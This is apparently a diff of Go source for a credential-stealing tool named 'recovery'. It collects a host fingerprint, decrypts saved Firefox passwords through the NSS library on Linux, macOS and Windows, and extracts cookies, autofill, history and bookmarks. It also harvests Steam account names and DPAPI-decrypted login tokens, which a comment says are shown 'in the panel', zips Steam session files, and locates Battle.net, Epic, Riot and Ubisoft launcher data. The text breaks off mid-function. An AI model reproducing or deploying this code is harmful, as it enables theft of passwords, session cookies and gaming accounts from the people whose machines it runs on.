Name string `json:"name"`
Version string `json:"version"`
Path string `json:"path,omitempty"`
}
// Result is the collected native fingerprint.
type Result struct {
UserAgent string `json:"userAgent"`
Platform string `json:"platform"`
OS string `json:"os"`
OSArch string `json:"osArch"`
Languages []string `json:"languages"`
HardwareConcurrency int `json:"hardwareConcurrency"`
DeviceMemory int `json:"deviceMemory"`
MaxTouchPoints int `json:"maxTouchPoints"`
ScreenWidth int `json:"screenWidth"`
ScreenHeight int `json:"screenHeight"`
AvailWidth int `json:"availWidth"`
AvailHeight int `json:"availHeight"`
ColorDepth int `json:"colorDepth"`
DevicePixelRatio float64 `json:"devicePixelRatio"`
Timezone string `json:"timezone"`
TimezoneOffset int `json:"timezoneOffset"`
Fonts []string `json:"fonts"`
GPU string `json:"gpu"`
Browsers []Browser `json:"browsers"`
LocalIPs []string `json:"localIps"`
}
@@ -0,0 +1,236 @@
package firefox
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"sync"
"recovery/recovery/chromium"
"recovery/recovery/db"
"recovery/recovery/types"
)
type firefoxLoginFile struct {
Logins []firefoxLogin `json:"logins"`
}
type firefoxLogin struct {
Hostname string `json:"hostname"`
EncryptedUsername string `json:"encryptedUsername"`
EncryptedPassword string `json:"encryptedPassword"`
}
var nssmu sync.Mutex
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult {
loginsPath := filepath.Join(profile.Path, "logins.json")
data, err := os.ReadFile(loginsPath)
if err != nil {
return nil
}
var logins firefoxLoginFile
if err := json.Unmarshal(data, &logins); err != nil {
return nil
}
if len(logins.Logins) == 0 {
return nil
}
nssmu.Lock()
defer nssmu.Unlock()
results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins)
var out []types.PasswordResult
for _, r := range results {
if r.URL != "" && (r.Username != "" || r.Password != "") {
r.Browser = cfg.Name
r.Profile = profile.Name
out = append(out, r)
}
}
return out
}
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
dbPath := filepath.Join(profile.Path, "formhistory.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory")
if err != nil {
rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory")
if err2 != nil {
return nil
}
defer rows2.Close()
var results []types.AutofillResult
for rows2.Next() {
var name, value sql.NullString
rows2.Scan(&name, &value)
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
defer rows.Close()
var results []types.AutofillResult
for rows.Next() {
var name, value sql.NullString
var timesUsed, firstUsed sql.NullInt64
rows.Scan(&name, &value, &timesUsed, &firstUsed)
var dateCreated int64
if firstUsed.Int64 > 0 {
dateCreated = firstUsed.Int64 / 1000000
}
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
DateCreated: dateCreated,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult {
dbPath := filepath.Join(profile.Path, "cookies.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies")
if err != nil {
return nil
}
defer rows.Close()
var results []types.CookieResult
for rows.Next() {
var host, name, value, path sql.NullString
var secure, httpOnly, expiry sql.NullInt64
rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry)
results = append(results, types.CookieResult{
Host: host.String,
Name: name.String,
Value: value.String,
Path: path.String,
Secure: secure.Int64 != 0,
HTTPOnly: httpOnly.Int64 != 0,
ExpiresUTC: expiry.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
return results
}
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
q := fmt.Sprintf(
`SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h
JOIN moz_places p ON p.id = h.place_id
ORDER BY h.visit_date DESC LIMIT %d`,
chromium.HistoryLimit,
)
rows, err := d.Query(q)
if err != nil {
return nil
}
defer rows.Close()
var results []types.HistoryResult
for rows.Next() {
var url, title sql.NullString
var visitDate sql.NullInt64
rows.Scan(&url, &title, &visitDate)
var visitTimeUnix int64
if visitDate.Int64 > 0 {
visitTimeUnix = visitDate.Int64 / 1000000
}
if url.String != "" {
results = append(results, types.HistoryResult{
URL: url.String,
Title: title.String,
VisitTimeUnix: visitTimeUnix,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b
JOIN moz_places p ON p.id = b.fk
WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`)
if err != nil {
return nil
}
defer rows.Close()
var results []types.BookmarkResult
for rows.Next() {
var title, url sql.NullString
rows.Scan(&title, &url)
if url.String != "" {
results = append(results, types.BookmarkResult{
Name: title.String,
URL: url.String,
Type: "url",
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
@@ -0,0 +1,7 @@
package firefox
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[firefox] "+format, args...)
}
@@ -0,0 +1,163 @@
//go:build !windows
package firefox
/*
#cgo LDFLAGS: -ldl
#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
unsigned int type;
unsigned char *data;
unsigned int len;
} SECItem;
typedef int (*NSS_Init_Fn)(const char*);
typedef int (*NSS_Shutdown_Fn)(void);
typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*);
typedef void (*PORT_Free_Fn)(void*);
static void* load_nss(const char* path) {
return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
}
static void close_nss(void* handle) {
if (handle) dlclose(handle);
}
static int call_nss_init(void* handle, const char* profile) {
NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init");
if (!fn) return -1;
return fn(profile);
}
static int call_nss_shutdown(void* handle) {
NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown");
if (!fn) return -1;
return fn();
}
static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) {
PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt");
if (!fn) return -1;
return fn(enc, dec, NULL);
}
static void call_port_free(void* handle, void* ptr) {
PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free");
if (fn) fn(ptr);
}
*/
import "C"
import (
"encoding/base64"
"os"
"runtime"
"strings"
"unsafe"
"recovery/recovery/types"
)
var nssLibPaths = []string{
// Linux paths
"/usr/lib/x86_64-linux-gnu/libnss3.so",
"/usr/lib64/libnss3.so",
"/usr/lib/libnss3.so",
"/usr/lib/firefox/libnss3.so",
"/usr/lib64/firefox/libnss3.so",
"/opt/firefox/libnss3.so",
"/opt/librewolf/libnss3.so",
"/snap/firefox/current/usr/lib/firefox/libnss3.so",
// macOS paths
"/Applications/Firefox.app/Contents/MacOS/libnss3.dylib",
"/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib",
"/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib",
"/opt/homebrew/lib/libnss3.dylib",
"/usr/local/lib/libnss3.dylib",
}
func findNSSLib() string {
suffix := ".so"
if runtime.GOOS == "darwin" {
suffix = ".dylib"
}
for _, p := range nssLibPaths {
if strings.HasSuffix(p, suffix) {
if _, err := os.Stat(p); err == nil {
return p
}
}
}
name := "libnss3.so"
if runtime.GOOS == "darwin" {
name = "libnss3.dylib"
}
return name
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
libPath := findNSSLib()
cLibPath := C.CString(libPath)
defer C.free(unsafe.Pointer(cLibPath))
handle := C.load_nss(cLibPath)
if handle == nil {
logf("firefox NSS: failed to load %s", libPath)
return nil
}
defer C.close_nss(handle)
cProfile := C.CString(profilePath)
defer C.free(unsafe.Pointer(cProfile))
ret := C.call_nss_init(handle, cProfile)
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s", profilePath)
return nil
}
defer C.call_nss_shutdown(handle)
var results []types.PasswordResult
for _, login := range logins {
username := nssDecryptUnix(handle, login.EncryptedUsername)
password := nssDecryptUnix(handle, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecryptUnix(handle unsafe.Pointer, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
var encItem C.SECItem
encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0]))
encItem.len = C.uint(len(encBytes))
var decItem C.SECItem
ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem)
if ret != 0 || decItem.data == nil || decItem.len == 0 {
return ""
}
result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len))
C.call_port_free(handle, unsafe.Pointer(decItem.data))
return result
}
@@ -0,0 +1,138 @@
//go:build windows
package firefox
import (
"encoding/base64"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"recovery/recovery/types"
)
type secItem struct {
ItemType uint32
Data *byte
Len uint32
}
var nssInstallDirs = map[string][]string{
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
}
func findNSSDir(browserName string) string {
dirs := nssInstallDirs[browserName]
if dirs == nil {
dirs = nssInstallDirs["Firefox"]
}
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
for _, dirs := range nssInstallDirs {
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
}
return ""
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
nssDir := findNSSDir(browserName)
if nssDir == "" {
logf("firefox NSS: nss3.dll not found for %s", browserName)
return nil
}
oldPath := os.Getenv("PATH")
os.Setenv("PATH", nssDir+";"+oldPath)
defer os.Setenv("PATH", oldPath)
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
if err != nil {
logf("firefox NSS: failed to load nss3.dll: %v", err)
return nil
}
defer nss3dll.Release()
nssInit, err := nss3dll.FindProc("NSS_Init")
if err != nil {
return nil
}
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
if err != nil {
return nil
}
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
portFree, _ := nss3dll.FindProc("PORT_Free")
profileBytes, err := syscall.BytePtrFromString(profilePath)
if err != nil {
return nil
}
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
return nil
}
defer func() {
if nssShutdown != nil {
nssShutdown.Call()
}
}()
var results []types.PasswordResult
for _, login := range logins {
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
var decItem secItem
ret, _, _ := pk11SDRDecrypt.Call(
uintptr(unsafe.Pointer(&encItem)),
uintptr(unsafe.Pointer(&decItem)),
0,
)
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
return ""
}
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
result := string(decBytes)
if portFree != nil {
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
}
return result
}
@@ -0,0 +1,228 @@
//go:build !windows
package recovery
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
func pathExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func ScanGaming() *types.GamingResult {
result := &types.GamingResult{
Steam: scanSteamUnix(),
}
if result.Steam == nil {
return nil
}
return result
}
func steamBasePaths() []string {
home, _ := os.UserHomeDir()
if runtime.GOOS == "darwin" {
return []string{
filepath.Join(home, "Library", "Application Support", "Steam"),
}
}
return []string{
filepath.Join(home, ".steam", "steam"),
filepath.Join(home, ".local", "share", "Steam"),
filepath.Join(home, ".steam", "debian-installation"),
}
}
func scanSteamUnix() *types.SteamResult {
var steamPath string
for _, p := range steamBasePaths() {
if pathExists(p) {
steamPath = p
break
}
}
if steamPath == "" {
return nil
}
result := &types.SteamResult{SteamPath: steamPath}
configPath := filepath.Join(steamPath, "config", "loginusers.vdf")
if data, err := os.ReadFile(configPath); err == nil {
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) {
val := vdfValueUnix(line)
if val != "" {
result.Account = val
result.AutoLogin = val
}
}
if strings.HasPrefix(line, `"RememberPassword"`) {
result.RememberPW = vdfValueUnix(line) == "1"
}
}
}
if entries, err := os.ReadDir(steamPath); err == nil {
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
result.SSFNFiles = append(result.SSFNFiles, e.Name())
}
}
}
seenGames := make(map[string]bool)
scanSteamLibraryUnix(steamPath, result, seenGames)
if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 {
return nil
}
return result
}
func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
libraryFolders := []string{steamPath}
steamappsRoot := filepath.Join(steamPath, "steamapps")
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
if data, err := os.ReadFile(vdfPath); err == nil {
for _, line := range strings.Split(string(data), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
val := vdfValueUnix(line)
if val != "" && pathExists(val) && val != steamPath {
libraryFolders = append(libraryFolders, val)
}
}
}
}
for _, lib := range libraryFolders {
libApps := filepath.Join(lib, "steamapps")
if !pathExists(libApps) {
continue
}
entries, _ := os.ReadDir(libApps)
for _, e := range entries {
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
continue
}
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
if err != nil || len(acfData) == 0 {
continue
}
acf := parseACFUnix(string(acfData))
if acf["appid"] == "" || acf["name"] == "" {
continue
}
if !seenGames[acf["appid"]] {
seenGames[acf["appid"]] = true
result.Games = append(result.Games, types.GameInfo{
ID: acf["appid"],
Name: acf["name"],
Installed: acf["StateFlags"] != "4",
})
}
}
}
}
func parseACFUnix(data string) map[string]string {
result := map[string]string{}
var inBlock bool
for _, line := range strings.Split(data, "\n") {
line = strings.TrimLeft(line, "\t ")
if line == "{" {
inBlock = true
continue
}
if line == "}" {
break
}
if !inBlock || line == "" {
continue
}
if strings.HasPrefix(line, `"`) {
key := vdfNthQuotedUnix(line, 0)
val := vdfNthQuotedUnix(line, 1)
if key != "" {
result[key] = val
}
}
}
return result
}
func vdfValueUnix(line string) string {
return vdfNthQuotedUnix(line, 1)
}
func vdfNthQuotedUnix(line string, n int) string {
count := 0
i := 0
for count <= n && i < len(line) {
start := strings.Index(line[i:], `"`)
if start == -1 {
return ""
}
start += i + 1
end := strings.Index(line[start:], `"`)
if end == -1 {
if count == n {
return line[start:]
}
return ""
}
if count == n {
return line[start : start+end]
}
i = start + end + 1
count++
}
return ""
}
const maxZipFile = 50 * 1024 * 1024
func ZipSteamSession(steamPath string) ([]byte, error) {
if steamPath == "" || !pathExists(steamPath) {
return nil, os.ErrNotExist
}
var files []string
entries, _ := os.ReadDir(steamPath)
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
files = append(files, filepath.Join(steamPath, e.Name()))
}
}
}
configDir := filepath.Join(steamPath, "config")
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
p := filepath.Join(configDir, name)
if pathExists(p) {
files = append(files, p)
}
}
if len(files) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
}
func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist }
func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist }
func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist }
func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist }
@@ -0,0 +1,586 @@
//go:build windows
package recovery
import (
"encoding/hex"
"os"
"path/filepath"
"strings"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
func normLines(data string) []string {
return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n")
}
func ScanGaming() *types.GamingResult {
result := &types.GamingResult{
Steam: ScanSteam(),
BattleNet: ScanBattleNet(),
Epic: ScanEpic(),
Riot: ScanRiot(),
Uplay: ScanUplay(),
}
if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 {
return nil
}
return result
}
func ScanSteam() *types.SteamResult {
result := &types.SteamResult{}
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ)
if err != nil {
logf("[gaming] Steam registry key not found: %v", err)
return nil
}
defer k.Close()
result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser")
remPw, _, _ := k.GetIntegerValue("RememberPassword")
result.RememberPW = remPw != 0
steamPath, _, _ := k.GetStringValue("SteamPath")
logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath))
if steamPath == "" || !pathExists(steamPath) {
return nil
}
steamPath = filepath.FromSlash(steamPath)
result.SteamPath = steamPath
if result.AutoLogin != "" {
result.Account = result.AutoLogin
}
seenGames := make(map[string]bool)
scanSteamLibrary(steamPath, result, seenGames)
logf("[gaming] Steam library scan found %d games from manifests", len(result.Games))
appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ)
if err != nil {
logf("[gaming] Steam Apps registry key not found: %v", err)
} else {
defer appsKey.Close()
names, _ := appsKey.ReadSubKeyNames(0)
logf("[gaming] Steam Apps registry has %d sub-keys", len(names))
for _, name := range names {
if seenGames[name] {
continue
}
subKey, err := registry.OpenKey(appsKey, name, registry.READ)
if err != nil {
continue
}
gameName, _, _ := subKey.GetStringValue("Name")
installed, _, _ := subKey.GetIntegerValue("Installed")
running, _, _ := subKey.GetIntegerValue("Running")
subKey.Close()
if gameName != "" {
seenGames[name] = true
result.Games = append(result.Games, types.GameInfo{
ID: name,
Name: gameName,
Installed: installed == 1,
Running: running == 1,
})
}
}
}
if entries, err := os.ReadDir(steamPath); err == nil {
for _, e := range entries {
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
result.SSFNFiles = append(result.SSFNFiles, e.Name())
}
}
}
localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath))
if pathExists(localVdfPath) {
tokens := extractSteamTokens(steamPath, localVdfPath)
if len(tokens) > 0 {
result.Token = strings.Join(tokens, "\n")
// Parse each token into its steamID + jwt pair (steamID is the part
// before the first dot), so it can be surfaced cleanly in the panel.
for _, tok := range tokens {
if dot := strings.Index(tok, "."); dot > 0 {
steamID := tok[:dot]
jwt := tok[dot+1:]
if steamID != "" && jwt != "" {
result.SteamTokens = append(result.SteamTokens, types.SteamTokenResult{
SteamID: steamID,
Token: jwt,
})
}
if result.Account == "" {
result.Account = steamID
}
}
}
}
}
if result.Account == "" {
configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml")
if configBytes, err := os.ReadFile(configPath); err == nil {
content := string(configBytes)
if idx := strings.Index(content, `"PersonaName"`); idx > 0 {
start := strings.Index(content[idx:], `"`)
end := strings.Index(content[idx+start+1:], `"`)
if start > 0 && end > 0 {
result.Account = content[idx+start+1 : idx+start+1+end]
}
}
}
}
return result
}
func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
libraryFolders := []string{steamPath}
steamappsRoot := filepath.Join(steamPath, "steamapps")
logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot))
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath))
if data, err := os.ReadFile(vdfPath); err == nil {
for _, line := range normLines(string(data)) {
line = strings.TrimSpace(line)
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
val := vdfValue(line)
if val != "" {
libraryPath := filepath.FromSlash(val)
libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator))
if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) {
libraryFolders = append(libraryFolders, libraryPath)
}
}
}
}
}
logf("[gaming] Steam library folders to scan: %v", libraryFolders)
for _, lib := range libraryFolders {
libApps := filepath.Join(lib, "steamapps")
logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps))
if !pathExists(libApps) {
continue
}
entries, _ := os.ReadDir(libApps)
logf("[gaming] Steam steamapps dir has %d entries", len(entries))
for _, e := range entries {
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
continue
}
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
if err != nil || len(acfData) == 0 {
continue
}
acf := parseACF(string(acfData))
if acf["appid"] == "" || acf["name"] == "" {
continue
}
installed := acf["StateFlags"] != "4"
if !seenGames[acf["appid"]] {
seenGames[acf["appid"]] = true
result.Games = append(result.Games, types.GameInfo{
ID: acf["appid"],
Name: acf["name"],
Installed: installed,
})
}
}
}
}
func parseACF(data string) map[string]string {
result := map[string]string{}
var inBlock bool
for _, line := range normLines(data) {
line = strings.TrimLeft(line, "\t ")
if line == "{" {
inBlock = true
continue
}
if line == "}" {
break
}
if !inBlock || line == "" {
continue
}
if strings.HasPrefix(line, `"`) {
key, val := vdfKeyValue(line)
if key != "" {
result[key] = val
}
}
}
return result
}
func vdfKeyValue(line string) (string, string) {
key := vdfNthQuoted(line, 0)
val := vdfNthQuoted(line, 1)
return key, val
}
func vdfValue(line string) string {
return vdfNthQuoted(line, 1)
}
func vdfNthQuoted(line string, n int) string {
count := 0
i := 0
for count <= n && i < len(line) {
start := strings.Index(line[i:], `"`)
if start == -1 {
return ""
}
start += i + 1
end := strings.Index(line[start:], `"`)
if end == -1 {
if count == n {
return line[start:]
}
return ""
}
if count == n {
return line[start : start+end]
}
i = start + end + 1
count++
}
return ""
}
func extractSteamTokens(steamPath, localVdfPath string) []string {
loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf")
if !pathExists(loginUsersPath) {
loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf")
}
if !pathExists(loginUsersPath) {
return nil
}
loginData, _ := os.ReadFile(loginUsersPath)
localData, _ := os.ReadFile(localVdfPath)
if loginData == nil || localData == nil {
return nil
}
accounts := parseVDFAccountNames(string(loginData))
if len(accounts) == 0 {
return nil
}
return findSteamTokens(string(localData), accounts)
}
func parseVDFAccountNames(data string) []string {
var accounts []string
for _, line := range normLines(data) {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, `"AccountName"`) {
val := vdfValue(line)
if val != "" {
accounts = append(accounts, val)
}
}
}
return accounts
}
func findSteamTokens(data string, accounts []string) []string {
normalized := strings.ReplaceAll(data, "\r\n", "\n")
var tokens []string
for _, account := range accounts {
prefix := `"` + account + `"`
idx := strings.Index(normalized, prefix)
if idx == -1 {
continue
}
blockStart := strings.Index(normalized[idx:], "{")
blockEnd := strings.Index(normalized[idx:], "}")
if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart {
continue
}
block := normalized[idx+blockStart : idx+blockEnd]
tokenStart := strings.Index(block, `"Token"`)
if tokenStart == -1 {
tokenStart = strings.Index(block, `"RefreshToken"`)
}
if tokenStart == -1 {
continue
}
tokenLine := block[tokenStart:]
if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 {
tokenLine = tokenLine[:lineEnd]
}
tokenHex := vdfValue(tokenLine)
if len(tokenHex) < 64 {
continue
}
decrypted := decryptSteamToken(tokenHex, account)
if decrypted != "" {
tokens = append(tokens, account+"."+decrypted)
}
}
return tokens
}
func decryptSteamToken(tokenHex, account string) string {
tokenBytes, err := hex.DecodeString(tokenHex)
if err != nil || len(tokenBytes) < 16 {
return ""
}
entropy := []byte(account)
out, err := dpapiDecrypt(tokenBytes, entropy)
if err != nil || len(out) == 0 {
return ""
}
return strings.TrimRight(string(out), "\x00")
}
func dpapiDecrypt(data, entropy []byte) ([]byte, error) {
type blob struct {
cbData uint32
pbData *byte
}
var inBlob, outBlob blob
inBlob.cbData = uint32(len(data))
if len(data) > 0 {
inBlob.pbData = &data[0]
}
var entPtr uintptr
if len(entropy) > 0 {
entBlob := blob{
cbData: uint32(len(entropy)),
pbData: &entropy[0],
}
entPtr = uintptr(unsafe.Pointer(&entBlob))
}
proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData")
r, _, err := proc.Call(
uintptr(unsafe.Pointer(&inBlob)),
0, entPtr, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, err
}
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
out := make([]byte, outBlob.cbData)
copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData))
return out, nil
}
func pathExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func ScanBattleNet() []types.BattleNetResult {
var results []types.BattleNetResult
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir))
if !pathExists(bnDir) {
return nil
}
entries, _ := os.ReadDir(bnDir)
for _, e := range entries {
if e.IsDir() {
scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results)
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
results = append(results, types.BattleNetResult{
Path: filepath.Join(bnDir, e.Name()),
Name: e.Name(),
})
}
}
return results
}
func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) {
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if e.IsDir() {
scanBattleNetRecursive(filepath.Join(dir, e.Name()), results)
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
*results = append(*results, types.BattleNetResult{
Path: filepath.Join(dir, e.Name()),
Name: e.Name(),
})
}
}
}
func ScanEpic() []types.EpicResult {
var results []types.EpicResult
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini")
logf("[gaming] Epic config=%q exists=%v", path, pathExists(path))
if !pathExists(path) {
return nil
}
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
return nil
}
content := string(data)
if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") {
results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"})
}
return results
}
func ScanRiot() []types.RiotResult {
var results []types.RiotResult
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data")
logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir))
if pathExists(riotDir) {
results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"})
}
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config")
logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir))
if pathExists(configDir) {
results = append(results, types.RiotResult{Path: configDir, Name: "Config"})
}
return results
}
func ScanUplay() []types.UplayResult {
var results []types.UplayResult
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path))
if pathExists(path) {
results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"})
}
return results
}
const maxZipFile = 50 * 1024 * 1024
func ZipSteamSession(steamPath string) ([]byte, error) {
